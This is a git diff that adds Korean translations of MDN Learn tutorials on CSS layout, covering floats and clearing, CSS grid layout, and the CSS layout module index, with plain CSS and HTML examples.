지금 저장하고 새로 고침하면, 여러분이 기대한 것과 비슷한 것을 보게 될 것입니다. 다시말해 일반 대열에 속한 상자는 텍스트 위에 위치를 잡고 있습니다. 텍스트가 상자 주변에 float하려면 아래에서 보듯 .box 규칙에 두 가지 속성을 추가하십시요.

+ +
.box {
+  float: left;
+  margin-right: 15px;
+  width: 150px;
+  height: 100px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+ +

이제 저장하고 새로 고침하면 다음과 같은 것을 볼 수 있습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('float_1', '100%', 500) }}

+ +

이제 floats가 어떻게 작동하는지 생각해 봅시다. floats로 설정된 대상 요소(이 경우 {{htmlelement("div")}} 요소)는 문서의 일반 레이아웃 대열에서 들어내어 부모 콘테이너(이 경우는 {{htmlelement("body")}})의 왼편에 고정되어 있습니다. 일반 레이아웃 대열에서 float 요소 아래에 오는 모든 콘텐츠는 이제 그 주변을 감싸게 되며, 애초 해당 float 요소가 있던 상층부를 포함해 오른쪽으로 공간을 차지합니다. 거기서 멈추게 됩니다.

+ +

콘텐츠를 오른쪽으로 float하는 것은 정확히 같은 효과를 가져 오지만, float 요소는 역으로 오른쪽에 고정되고 컨텐츠는 float 요소의 왼쪽 주변을 둘러싸게 됩니다. 직전 CSS 규칙 집합에서 float 값을 right로 변경하고 {{cssxref("margin-right")}}를 {{cssxref("margin-left")}}로 대체해 그 결과가 무엇인지 확인하십시오.

+ +

텍스트를 밀어내도록 float에 여백을 추가할 수 있지만, float 로부터 텍스트를 이동시키기 위해 텍스트에 여백을 추가할 수는 없습니다. 왜 그런가하면 float 요소가 일반 대열에서 이탈된 상태이고, 후속 항목에 속한 상자 무리가 실제로 동 float 의 뒤에 나열되기 때문입니다. 당신의 예제에 일부 내용을 변경해보면 그점을 증명할 수 있습니다.

+ +

float 상자의 바로 뒤에 있는 텍스트 형태의 첫 번째 단락에 special 클래스를 추가하십시요. 그 다음에 당신의 CSS에 다음 규칙을 추가합니다. 이들 규칙에 따라 당신의 후속 단락에는 배경색이 주어집니다.

+ +
.special {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+
+ +

해당 효과를 쉽게 확인해보려면 float에 대한 margin-rightmargin으로 대체하여 float의 주변 전체에 공간을 확보하십시오. 아래 예제에서와 같이 단락의 배경이 float 상자 바로 아래에서 펼쳐지는 것을 확인할 수 있습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('float_2', '100%', 500) }}

+ +

우리의 후속 요소에 속한 라인 상자가 짧아져서 텍스트가 floats 주위로 펼쳐지고 있지만, floats가 일반 대열에서 제거되었기 때문에 단락 주변 상자는 여전히 전체 너비로 유지하고 있습니다.

+ +

floats 정리하기

+ +

우리는 float가 일반 대열에서 제거되고 다른 요소가 그 옆에 표시되는 것을 보았습니다. 따라서 후속 요소가 치고 올라오는 것을 막으려면 그것을 정리해야 합니다. 그것은 {{cssxref("clear")}} 속성으로 달성됩니다.

+ +

이전 예제에서 당신이 사용한 HTML에서 float 항목 아래에 위치한 두 번째 단락에 cleared 클래스를 추가하십시요. 그 뒤 당신의 CSS에 다음 내용을 추가하세요.

+ +
.cleared {
+  clear: left;
+}
+
+ +
+ +
+ +

{{ EmbedLiveSample('float_3', '100%', 600) }}

+ +

다음 단락은 float 요소를 clear 하며, 더 이상 그 옆에 부상하지 않음을 알아야 합니다. clear 속성은 다음과 같은 값을 받아들입니다:

+ + + +

floats 주변을 둘러싼 상자 정리하기

+ +

이제 당신은 float 요소를 후속하는 무언가를 정리하는 방법을 알고 있지만, 장신 floats와 단신 단락이 있고 두 요소 주변을 둘러싼 하나의 상자가 있을 경우에는 어떤 일이 일어나는지 살펴보십시요. 첫 단락과 우리의 float 상자가 wrapper 클래스에 해당하는 {{htmlelement("div")}} 요소로 둘러싸지도록 문서를 변경하십시오.

+ +
<div class="wrapper">
+  <div class="box">float</div>
+
+  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.</p>
+</div>
+
+ +

당신의 CSS에 .wrapper 클래스에 대해 다음 규칙을 추가한 뒤 페이지를 새로 고침하십시오.

+ +
.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+ +

원형 .cleared 클래스에 추가된 것입니다.

+ +
.cleared {
+    clear: left;
+}
+ +

여러분이 보게 될 것은 문단에 배경 이미지를 놓는 예제에서와 비슷하게 배경색이 floats 뒤에서 펼쳐지고 있습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('float_4', '100%', 600) }}

+ +

반복되는 얘기지만, 이렇게 된 까닭은 floats가 정상 대열에서 제거되었기 때문입니다. 후속 요소를 정리해도 이럴 때는 상자 정리 문제에 도움이 되지 않습니다. 즉 상자의 밑단이 float 항목을 애워싸고, 짧은 컨텐츠라도 동 컨텐츠를 애워싸길 원할 경우에는 도움이 되질 않습니다. 이를 처리하려면 생각할 수 있는 세 가지 방법이 있는데, 그 중 두 가지 방법은 모든 브라우저에서 작동하지만, 약간 땜질식이며, 세 번째 새로운 방법은 이런 상황을 제대로 처리합니다.

+ +

The clearfix hack

+ +

이 상황을 처리하는 전통적인 방법은 "clearfix hack"이라고 알려진 내용을 사용하는 것입니다. 여기에는 floats와 그걸 둘러싼 콘텐츠가 들어 있는 상자 뒤에 일부 생성된 콘텐츠를 삽입하고, 그것에 (좌측 우측 관계없는) clear: both;를 설정하는 것을 말합니다.

+ +

우리의 예제에 다음과 같은 CSS를 추가하세요.

+ +
.wrapper::after {
+  content: "";
+  clear: both;
+  display: block;
+}
+ +

이제 페이지를 새로고침하면 상자가 지워집니다. 이것은 본질적으로 항목 아래에 <div>와 같은 HTML 요소를 추가하고, 거기에 clear: both를 설정한 것과 같습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('float_5', '100%', 600) }}

+ +

overflow 사용

+ +

다른 대안으로는 .wrapper 클래스에 {{cssxref("overflow")}} 속성을 visible 이 외의 값으로 설정하는 방법이 있습니다.

+ +

이전 섹션에서 추가한 clearfix CSS 부분을 제거하고 그 대신 .wrapper 클래스에 대한 CSS 규칙에 overflow: auto를 추가합니다. 반복되는 얘기지만, 상자가 정리되었을 겁니다.

+ +
.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  overflow: auto;
+}
+ +
+ +
+ +

{{ EmbedLiveSample('float_6', '100%', 600) }}

+ +

이 예는 block formatting context라고(블록 서식 상황) 알려진 것을 생성하여 처리합니다. 이것은 당신의 페이제 내부 미니 레이아웃과도 같습니다. 그 안에 모든 것이 포함되어 있으므로 우리의 float 요소는 블록 서식 상황 내부에 포함되어 있으며 배경은 두 개 항목 뒤에 펼쳐집니다. 그러나 어떤 경우에는 overflow 사용에 따른 의도하지 않은 결과 때문에 원치 않는 스크롤 막대나 잘린 그림자가 발견될 수 있습니다.

+ +

display: flow-root

+ +

이 문제를 해결하는 현대적인 방식은 display 속성에서 flow-root값을 사용하는 방법입니다. 이것은 임시방편을 사용하지 않고 블록 서식 상황을 생성하기 위해만 존재합니다. 이를 사용할 때 의도하지 않은 결과는 없습니다. 당신의 .wrapper 규칙에서 overflow: auto를 제거하고 display: flow-root를 추가합니다. 당신이 이 기능을 지원하는 브라우저가 있다는 가정 하에 상자가 정리될 것입니다.

+ +
.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  display: flow-root;
+}
+ +
+ +
+ +

{{ EmbedLiveSample('float_7', '100%', 600) }}

+ +

요약정리

+ +

당신은 현대적인 웹 개발에서 floats에 대해 알아야 할 것은 이제 모두 알게 되었습니다. 과거에 어떤 식으로 사용되었는지에 관한 정보에 대해선 레거시 레이아웃 메서드에 관한 문서를 보십시요. 오래된 프로젝드에 몸 담을 일이 생긴다면 유용할 수도 있습니다.

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}

+ +

이번 단위에는

+ + diff --git a/files/ko/learn/css/css_layout/grids/index.html b/files/ko/learn/css/css_layout/grids/index.html new file mode 100644 index 0000000000..6e4b7403f5 --- /dev/null +++ b/files/ko/learn/css/css_layout/grids/index.html @@ -0,0 +1,711 @@ +--- +title: 그리드 +slug: Learn/CSS/CSS_layout/Grids +tags: + - 그리드 + - 그리드 레이아웃 + - 씨에스에스 + - 아티클 + - 안내서 + - 자습서 + - 초보자 + - 코딩스크립팅 + - 학습 +translation_of: Learn/CSS/CSS_layout/Grids +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}
+ +

CSS 그리드 레이아웃은 웹페이지를 위한 이차원 레이아웃 시스템입니다. 이 기능을 통해 콘텐츠를 행과 열에 배치할 수 있으며 복잡한 레이아웃을 직접 직관적으로 구축할 수 있는 많은 기능이 있습니다. 이 글은 페이지 레이아웃을 시작하기 위해 필요한 모든 것을 알려드립니다.

+ + + + + + + + + + + + +
선결 사항:HTML 기본 (HTML 입문 학습), CSS의 작동 방식 CSS 입문 및 (박스 양식 지정 학습)
목표:그리드 레이아웃 시스템의 근간 개념과 그리드 레이아웃 구현 방법 이해하기
+ +

그리드 레이아웃이란 무엇인가?

+ +

그리드는 수평선과 수직선으로 이루어진 집합체로, 디자인 요소를 정렬할 수 있는 대상 패턴을 생성한다. 이 디자인은 페이지에서 페이지로 이동할 때 요소가 널뛰거나 너비가 바뀌지 않는 디자인 생성에 도움을 주어 웹 사이트의 일관성을 높여준다.

+ +

하나의 그리드은 대게 columns, rows로 구성되며, 각 행과 열 사이에 공백이 있는데, 대게는 이를 일컬어 gutters라고 부른다.

+ +

+ +

CSS에서 그리드 생성하기

+ +

당신의 디자인에 필요한 그리드를 결정했다면 해당 CSS 그리드 레이아웃을 생성하고 그 위에 항목을 올려놓기 위해 CSS 그리드 레이아웃을 사용할 수 있습니다. 우리는 먼저 그리드 레이아웃의 기본 기능을 살펴보고 난 뒤 당신의 프로젝트에 맞는 간단한 그리드 시스템을 생성하는 방법을 살펴보겠습니다.

+ +

그리드의 정의

+ +

본격적인 출발에 앞서 텍스트 편집기 및 브라우저 상에서 시작 파일을 다운로드하고 엽니다(여기에서 라이브로 볼 수도 있습니다). 예를 들어, 당신은 일부 자식 항목이 있는 컨테이너 예제를 보게됩니다. 기본값으로 이들은 일반 대열로 표시되므로 상자들은 다른 대상 요소 바로 밑에 표시됩니다. 우리는 이 단원의 첫 번째 부분은 이 (시작) 파일을 가지고 작업할 것이며, 거기에 변경을 더해 그리드가 어떻게 동작하는지 확인하게 됩니다.

+ +

{{cssxref("display")}} 속성에 grid 값을 사용해 그리드를 규정한다. 이로써 Flexbox와 마찬가지로 그리드 레이아웃으로 전환하며, 컨테이너의 직계 자식 전체가 그리드 아이템이 됩니다. 내려받은 시작 파일 내부 CSS 부분에 다음을 추가하세요:

+ +
.container {
+    display: grid;
+}
+ +

가변상자와 달리 항목 무리는 즉각적으로 모양이 달리지지 않는다. display: grid 선언으로 열 그리드 하나가 당신에게 주어지며, 따라서 당신의 항목들은 일반 대열 속 행동 방식처럼 다른 대상 요소 바로 밑에 계속 표시된다.

+ +

그리드 같은 모양세를 확인하려면 그리드에 몇 개의 열을 추가할 필요가 있다. 여기에 200픽셀 칼럼 3개를 추가해봅시다. 길이 단위나 백분율을 사용하여 그러한 열 트랙을 만들 수 있습니다.

+ +
.container {
+    display: grid;
+    grid-template-columns: 200px 200px 200px;
+}
+ +

CSS 규칙에 제2 선언을 추가한 다음 페이지를 다시 로드하면 생성된 그리드의 각 셀 안으로 그리드 항목 무리가 하나씩 재배열되는 것이 확인될 것이다.

+ +
+ +
+ +

{{ EmbedLiveSample('그리드_1', '100%', 400) }}

+ +

fr 단위를 포함한 가변 그리드

+ +

길이와 백분율을 사용하여 그리드를 생성하는 것 외에도 fr 단위를 사용하여 그리드 행과 열을 가변적으로 조정할 수 있다. 동 단위는 그리드 컨테이너 내부에 사용 가능한 공간에서 한 개의 분할 부분과 같다.

+ +

트랙 목록을 다음과 같이 정의로 변경하여, 세 개의 1fr 트랙을 생성한다.

+ +
.container {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+}
+ +

이제 가변 트랙을 보유했다는 것이 확인될 것이다. fr 단위는 공간을 균등하게 분배하므로 예를 들어 다음과 같이 규정을 변경할 경우 트랙에 서로 다른 값을 부여할 수 있다:

+ +
.container {
+    display: grid;
+    grid-template-columns: 2fr 1fr 1fr;
+}
+ +

첫 번째 트랙은 이제 사용 가능한 공간의 2fr을 얻고 다른 두 트랙은 1fr을 얻음으로써 첫 번째 트랙을 더 크게 만듭니다. fr 단위와 고정 길이 트랙을 혼합할 수 있습니다. 이러한 경우 고정 트랙들에 필요한 공간이 제외한 이후에 해당 공간이 다른 트랙에 분배됩니다.

+ +
+ +
+ +

{{ EmbedLiveSample('그리드_2', '100%', 400) }}

+ +
+

참고: fr 단위는 전체 공간이 아닌 이용 가능한 공간을 분배한다. 따라서 당신의 트랙 중 하나가 자기 내부에 뭔가 큰 공간을 차지한다면 공유할 수 있는 여유 공간이 줄어들 것이다.

+
+ +

트랙사이 간격

+ +

우리가 트랙사이 간격을 생성하려면 열 사이 간격에 대해선 {{cssxref("grid-column-gap")}} 속성을 사용하고, 행 사이 간격에 대해선 {{cssxref("grid-row-gap")}}를 사용하고, 단번에 둘 다 설정하려면 {{cssxref("grid-gap")}}를 사용한다.

+ +
.container {
+    display: grid;
+    grid-template-columns: 2fr 1fr 1fr;
+    grid-gap: 20px;
+}
+
+ +

이러한 간격은 길이 단위 또는 백분율이 될 수 있지만, fr 단위는 될 수 없습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('그리드_3', '100%', 400) }}

+ +
+

참고: *gap 속성은 예전에는 grid- 접두사를 사용하곤 했지만, 해당 CSS 규격은 변경되었다. 당시는 그들 속성을 여러 레이아웃 메서드 상에서 사용할 수 있게 하자는 취지였다. 현재 마이크로소프트 에지와 파이어폭스는 해당(grid-) 접두사가 없는 버전을 지원하며 접두사 버전은 별칭으로 유지되므로 한동안 사용하는 데 지장이 없을 것이다. 당신이 안전한 쪽을 택하려면 완전 무결한 코드를 담보하기 위해 두 가지 속성을 이중으로 추가할 수 있다.

+
+ +
.container {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+  grid-gap: 20px;
+  gap: 20px;
+}
+ +

트랙 목록의 반복

+ +

반복 표기법을 사용하여 당신의 트랙 목록의 전체 또는 한 섹션을 반복할 수 있다. 트랙 목록을 다음 항목으로 변경하라.

+ +
.container {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-gap: 20px;
+}
+ +

이제 당신은 이전과 마찬가지로 3개의 1fr 트랙을 얻을 수 있다. 반복 함수에 전달되는 첫 번째 값은 당신이 원하는 트랙 목록의 반복 횟수가 되며, 두 번째 값은 하나의 트랙 목록이며, 이는 당신이 반복되길 원하는 일개 트랙 또는 여러 트랙이 될 수도 있다.

+ +

암시적 그리드와 명시적 그리드

+ +

지금까지는 열 트랙만 지정했지만, 콘텐츠를 저장하기 위해 행도 만들어지고 있다. 이것은 명시적 그리드 대항 암시적 그리드의 한 예다. 명시적 그리드는 당신이 grid-template-columns 또는 grid-template-rows를 사용하여 생성하는 것을 말한다. 암시적 그리드가 생성되는 시점은 콘텐츠가 해당 그리드 외부에 배치될 때이다. 예를 들어 콘텐츠가 행렬 내부에 진입할 시점이 된다. 명시적 및 암시적 그리드는 가변상자의 주축 및 교차축과 유사하다.

+ +

기본값으로 암시적 그리드 상에 생성된 트랙은 auto 크기로 되며, 이는 일반적으로 콘텐츠를 알맞게 들여놓기에 충분히 크다는 것을 의미한다. 당신이 암시적 그리드 트랙에 크기를 지정하려면 {{cssxref("grid-auto-rows")}}와 {{cssxref("grid-auto-columns")}} 속성을 사용할 수 있다. 당신의 작업 CSS에 100px값을 grid-auto-rows에 추가하게 되면 생성된 행이 이제 100 픽셀 높이가 되는 걸 보게 된다.

+ +
+ + +
.container {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 20px;
+}
+
+ +

{{ EmbedLiveSample('그리드_4', '100%', 400) }}

+ +

minmax() 함수

+ +

100픽셀 높이의 트랙은 100픽셀 이상의 트랙에 콘텐츠를 추가할 경우 별로 유용하지 않을 것이다. 그 경우 오버플로를 야기하니 말이다. 적어도 100픽셀 높이의 트랙이 있고, 거기에 더 많은 콘텐츠가 들어가더라도 여전히 확장될 수 있다면 더 나을 수 있다. 웹에 관한 상당히 기본적인 사실은 어떤 것의 높이가 앞으로 얼마나 커질지 결코 모른다는 점이다. 추가 내용 또는 더 큰 글꼴 크기는 모든 면에서 픽셀 크기의 완전성을 추구하는 디자인의 경우 문제를 일으킬 수 있다.

+ +

minmax는 트랙의 최소 및 최대 크기를 설정할 수 있게 해준다. 예를 들어 minmax(100px, auto). 최소 크기는 100 픽셀이지만 최대 크기는 auto로써 콘텐츠에 들어맞게 확장된다. 최소최대값을 사용하려면 grid-auto-rows를 변경해보라.

+ +
.container {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-gap: 20px;
+}
+ +

추가 콘텐츠를 추가하면 트랙이 확장되어 콘텐츠가 들어맞게 트랙이 확대되는 걸 보게될 겁니다. 정확히 행을 따라 확장이 일어난다는 점에 유의하십시오.

+ +

들어맞을 때까지 열 생성

+ +

우리는 트랙 목록, 반복 표기법, minmax()등에 대해 우리가 배운 몇 가지를 결합하여 유용한 패턴을 만들 수 있다. 때로는 그리드 컨테이너에 들여놓기할 때 최대한 많은 열을 생성하라고 그리드에 요청할 수 있으면 도움이 된다. 우리는 그렇게 하려면 repeat() 표기법을 사용하여 grid-template-columns의 값을 설정하면 되지만, 숫자로 전달할 게 아니라 키워드 auto-fill을 사용했다. 동 함수의 두 번째 매개 변수의 경우 최소값은 우리가 갖고 싶은 최소 트랙 크기와 같고 최대값은 1fr이다.

+ +

이를 당신의 파일에서 당장 시험해려면 아래 CSS를 사용하십시요:

+ +
+ + +
.container {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+  grid-auto-rows: minmax(100px, auto);
+  grid-gap: 20px;
+}
+
+ +

{{ EmbedLiveSample('그리드_5', '100%', 400) }}

+ +

이것이 작동하는 까닭은 그리드가 그리드 컨테이너에 들어갈 수 있는 200픽셀의 열을 최대한 많이 만들고, 그 뒤 전체 열 사이 남은 공간이 얼마가 돼건 공유하기 때문이다. 최대치 1fr이며, 이미 알고 있듯이 트랙 사이 공간을 고르게 분배한다.

+ +

라인 기반 배치

+ +

이제 우리는 그리드를 만드는 것에서 그리드에 사물을 배치하는 것으로 넘어간다. 우리의 그리드에는 항상 라인이 있으며, 이 라인은 1에서 시작하며, 문서의 쓰기 모드와 관련이 있다. 따라서 영어에서는 열 라인 1은 그리드의 왼쪽에 위치하고 행 라인 1은 맨 위에 있습니다. 아랍어 열 라인 1은 아랍어가 오른쪽에서 왼쪽으로 쓰여지기 때문에 오른쪽에 놓이게 됩니다.

+ +

시작 라인과 끝 라인을 지정하여 이러한 라인에 따라 사물을 배치할 수 있다. 다음의 속성을 사용하여 그렇게 할 수 있다:

+ + + +

이들 속성은 모두 라인 번호를 값으로 가질 수 있습니다. 약칭 속성을 사용할 수도 있습니다.

+ + + +

이를 통해 시작 라인과 끝 라인을 한 번에 지정할 수 있으며, 전진 슬래시인 / 문자로 구분한다.

+ +

착수 파일로 이 파일을 다운로드하세요 또는 여기 라이브로도 보세요. 이미 정의된 그리드와 윤곽이 잡힌 간단한 글이 있습니다. 자동 배치에 의해 항목들이 우리가 생성한 그리드 무리의 각 셀에 하나씩 배치하는 것을 볼 수 있습니다.

+ +

대신 그리드 라인을 사용하여 우리 사이트의 모든 요소를 그리드에 배치합니다. 다음 CSS 규칙을 당해 CSS의 맨 아래에 추가세요:

+ +
header {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+
+article {
+  grid-column: 2;
+  grid-row: 2;
+}
+
+aside {
+  grid-column: 1;
+  grid-row: 2;
+}
+
+footer {
+  grid-column: 1 / 3;
+  grid-row: 3;
+}
+ +
+ +
+ +

{{ EmbedLiveSample('그리드_6', '100%', 400) }}

+ +
+

참고: 마지막 열 또는 행 라인을 상대로 -1 값을 사용할 수 있으며, 음수값을 사용하여 끝에서 안쪽으로 카운트할 수도 있습니다. 그러나 이 값은 명시적 그리드에만 통합니다. -1 값은 암시적 그리드의 마지막 라인에 적용하지 못합니다.

+
+ +

grid-template-areas로 위치잡기

+ +

그리드에 항목을 배치하는 다른 방식은 {{cssxref("grid-template-areas")}} 속성을 사용하여 당신의 디자인에 딸린 다양한 요소에 이름을 지정하는 것입니다.

+ +

마지막 예제에서 라인 기반 위치잡기를 제거하고(또는 예제 파일을 다시 다운로드하여 새롭게 시작하거나), 다음 CSS를 추가한다.

+ +
.container {
+  display: grid;
+  grid-template-areas:
+      "header header"
+      "sidebar content"
+      "footer footer";
+  grid-template-columns: 1fr 3fr;
+  grid-gap: 20px;
+}
+
+header {
+  grid-area: header;
+}
+
+article {
+  grid-area: content;
+}
+
+aside {
+  grid-area: sidebar;
+}
+
+footer {
+  grid-area: footer;
+}
+ +

페이지를 새로고침하면, 우리가 어떤 라인 번호를 사용할 필요없이 방금 전과 같이 항목이 배치되었음을 알 수 있습니다!

+ +
+ +
+ +

{{ EmbedLiveSample('그리드_7', '100%', 400) }}

+ +

grid-template-areas에 대한 규칙은 다음과 같다.

+ + + +

우리의 레이아웃을 마음대로 부릴 수 있습니다. 예를 들어, 콘텐츠와 사이드바 아래에만 위치하는 바닥글을 맡바닥까지 확대 점유하도록 변경할 수 있다. 이것은 CSS에서 정확히 무슨 일이 일어나고 있는지 있는 그대로 명백하게 레이아웃을 설명하는 매우 멋진 방법입니다.

+ +

CSS 그리드, 그리드 프레임워크

+ +

그리드 "프레임워크"는 대략 12 또는 16개의 열 그리드를 기반으로 하는 경향이 있으며, CSS 그리드도 포함하므로, 그러한 프레임워크를 발휘하기 위해 제 3의 타사 도구가 필요하지 않다. 이미 CSS 규격에 포함되어 있기 때문이다.

+ +

착수 파일을 다운로드하세요.. 여기에는 12개의 열 그리드로 정의된 컨테이너와 이전 두 예제에서 사용된 것과 동일한 마크업이 포함되어 있습니다. 이제 라인 기반 배치를 사용하여 우리의 콘텐츠를 12열 그리드 상에 배치할 수 있습니다.

+ +
header {
+  grid-column: 1 / 13;
+  grid-row: 1;
+}
+
+article {
+  grid-column: 4 / 13;
+  grid-row: 2;
+}
+
+aside {
+  grid-column: 1 / 4;
+  grid-row: 2;
+}
+
+footer {
+  grid-column: 1 / 13;
+  grid-row: 3;
+}
+ +
+ +
+ +

{{ EmbedLiveSample('그리드_8', '100%', 400) }}

+ +

파이어폭스 그리드 검사기를 사용하여 당신의 디자인 상의 그리드 라인을 겹쳐놓으면 12개로 구성된 열 그리드가 작동하는 방법을 볼 수 있습니다.

+ +

A 12 column grid overlaid on our design.

+ +

요약정리

+ +

이 개요에서 우리는 CSS 그리드 레이아웃의 주요 특징을 둘러 보았습니다. 당신의 디자인 상에 사용할 수 있도록 합시다. CSS 규격에 대해 더 자세히 살펴보려면 그리드 레이아웃에 대한 안내서를 참조하십시오. 아래를 보면 찾아 볼 수 있습니다.

+ +

참조 항목

+ + + +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}

+ +

이번 단위에는

+ + diff --git a/files/ko/learn/css/css_layout/index.html b/files/ko/learn/css/css_layout/index.html new file mode 100644 index 0000000000..b184282450 --- /dev/null +++ b/files/ko/learn/css/css_layout/index.html @@ -0,0 +1,76 @@ +--- +title: CSS 레이아웃 +slug: Learn/CSS/CSS_layout +tags: + - 가변상자 + - 격자 + - 다단 + - 단위 + - 부동 + - 부동체 + - 씨에스에스 + - 안내서 + - 위치잡기 + - 조판 + - 초보자 + - 테이블 + - 학습 +translation_of: Learn/CSS/CSS_layout +--- +
{{LearnSidebar}}
+ +

이 시점에서 우리는 이미 CSS 기본 사항, 텍스트 스타일링 방법, 콘텐츠가 안에 있는 상자를 스타일링하고 조작하는 방법을 살펴 보았습니다. 이제 뷰포트와 관련하여 상자를 올바른 장소에 배치하는 방법을 살펴볼 때입니다. 우리는 필요한 전제조건을 다루었기 때문에 이제 CSS 레이아웃에 깊이 뛰어들어 다른 디스플레이 설정, 플렉스박스, CSS 그리드, 포지셔닝과 같은 현대적인 레이아웃 도구, 그리고 당신이 여전히 알고 싶어할 만한 레거시 기술들을 살펴볼 수 있다.

+ +

선결사항

+ +

이번 단위를 시작하기 전에 여러분은 이미 아래 내용을 익혔어야 합니다:

+ +
    +
  1. HTML 소개 단위에서 논의했듯이 HTML에 대해 기본적인 친숙도가 있어야 합니다.
  2. +
  3. CSS 소개 단위에서 논의한 만큼 CSS 기본 사항에 대해 부담이 없어야 합니다.
  4. +
  5. 상자 스타일링 방법에 대한 이해가 있어야 합니다.
  6. +
+ +
+

참고: 여러분은 본인만의 파일을 생성할 능력이 없는 컴퓨터/태블릿/다른 장치에서 작업하고 있는 경우, JSBinThimble과 같은 온라인 코딩 프로그램 상에서 코드 예제를 시험해볼 수 있다.

+
+ +

안내서

+ +

이 글은 CSS에서 이용할 수 있는 기본 레이아웃 도구 및 기술에 대한 지침을 제공합니다. 단원 말미에 웹페이지 하나를 예시하는 방식으로 레이아웃 매서드에 대한 이해도를 자가 점검하는데 도움이 되는 학습 평가가 있습니다.

+ +
+
CSS 레이아웃 입문서
+
이 문서에서는 이전 모듈에서 이미 다뤘던 CSS 레이아웃 기능, 예를 들어 서로 다른 {{cssxref("display")}} 속성값의 차이 등을 복습하고, 이번 모듈에서 다룰 예정인 몇몇 CSS 개념을 소개합니다.
+
일반 대열
+
웹페이지의 엘리먼트 무리는 여러분이 무언가 변화를 주기전까지는 normal flow(일반 대열)에 따라 또래 엘리먼트들을 배치합니다. 이 글은 일반 대열을 설명하는데, 그 걸 토대로 일반 대열 자체를 변경하는 방법을 배우겠습니다.
+
Flexbox
+
Flexbox는 행과 열의 형태로 항목 무리를 배치하는 일차원 레이아웃 메서드이다. 항목은 부족한 공간에 맞추기 위해 축소되거나 여분의 공간을 채우기 위해 변형된다. 이 글은 근간이 되는 내용 전체를 설명한다.
+
그리드(Grids)
+
CSS 그리드 레이아웃(Grid Layout)은 웹페이지를 위한 이차원 레이아웃 시스템입니다. 이 기능을 통해 콘텐츠를 행과 열에 배치할 수 있으며 복잡한 레이아웃을 직접 직관적으로 구축할 수 있는 많은 기능이 있습니다. 이 글은 페이지 레이아웃을 시작하기 위해 필요한 모든 것을 알려드립니다.
+
부동체
+
원래 텍스트 블록 내에서 부동 이미지를 위한 {{cssxref("float")}} 속성은 웹 페이지에서 다단 레이아웃을 생성할 용도로 가장 널리 사용되는 도구 중 하나로 자리매김했었습니다. Flexbox와 그리드의 출현과 함께 부동 속성은 이 글에서 설명하겠지만, 원래의 목적대로 돌아갔습니다.
+
위치잡기
+
당신이 일반 문서 레이아웃 대열에서 엘리먼트를 끄집어 내어, 그것이 다르게 행동하게 만들수 있게 해주는 것이 위치잡기다. 예를 들어 상대 엘리먼트 위에 놓거나 브라우저 뷰 포트 내부의 동일한 위치를 항상 유지하게 해준다. 이 글은 서로 다른 {{cssxref("position")}} 값을 설명하고, 그 걸 사용하는 방법에 대해서도 설명한다.
+
다단 레이아웃
+
CSS 다단 레이아웃 규격은 신문에서 볼 수 있듯이 콘텐츠를 단으로 배치하는 방법을 제공합니다. 이 글은 그 기능을 어떻게 사용하는지 설명합니다.
+
반응형 디자인
+
웹 기반 장치에 다양한 화면 크기가 등장함에 따라 반응형 웹 디자인(RWD) 개념이 등장했습니다. 말하자면 서로 다른 화면 너비와 해상도 등에 맞게 웹 페이지가 레이아웃과 모양을 변경할 수 있는 일련의 실례를 집대성한 것입니다. 이 아이디어가 우리가 멀티 디바이스 웹에 대한 설계 방식을 바꾸게 만든 장본인입니다. 이 글에서 우리는 그 내용을 숙달하기 위해 당신이 알아야하는 주요 기술을 이해하도록 도울 것입니다.
+
미디어 쿼리 초보자 안내서
+
CSS Media Query는 예를 들어 "뷰포트가 480 픽셀보다 넓다."라고 여러분이 지정한 규칙에 브라우저 및 장치 환경이 일치하는 경우에만 CSS를 적용할 수 있는 방법을 제공합니다. 미디어 쿼리는 반응형 웹 디자인의 핵심 부분이다. 뷰포트의 크기에 따라 서로 다른 레이아웃을 생성할 수 있기 때문이다. 그러나 예를들면 사용자는 마우스가 아닌 터치스크린을 사용하는지와 같이 실행 중인 사이트 환경에 대한 여러 내용들을 탐지하는 데도 사용할 수 있습니다. 이번 단원에서는 먼저 미디어 쿼리에 사용된 구문에 대해 배우고, 이어 해당 구문을 가공의 예제에서 사용하여 간단한 디자인이 어떻게 반응할 수 있는지 살펴보겠습니다.
+
레거시 레이아웃 메서드
+
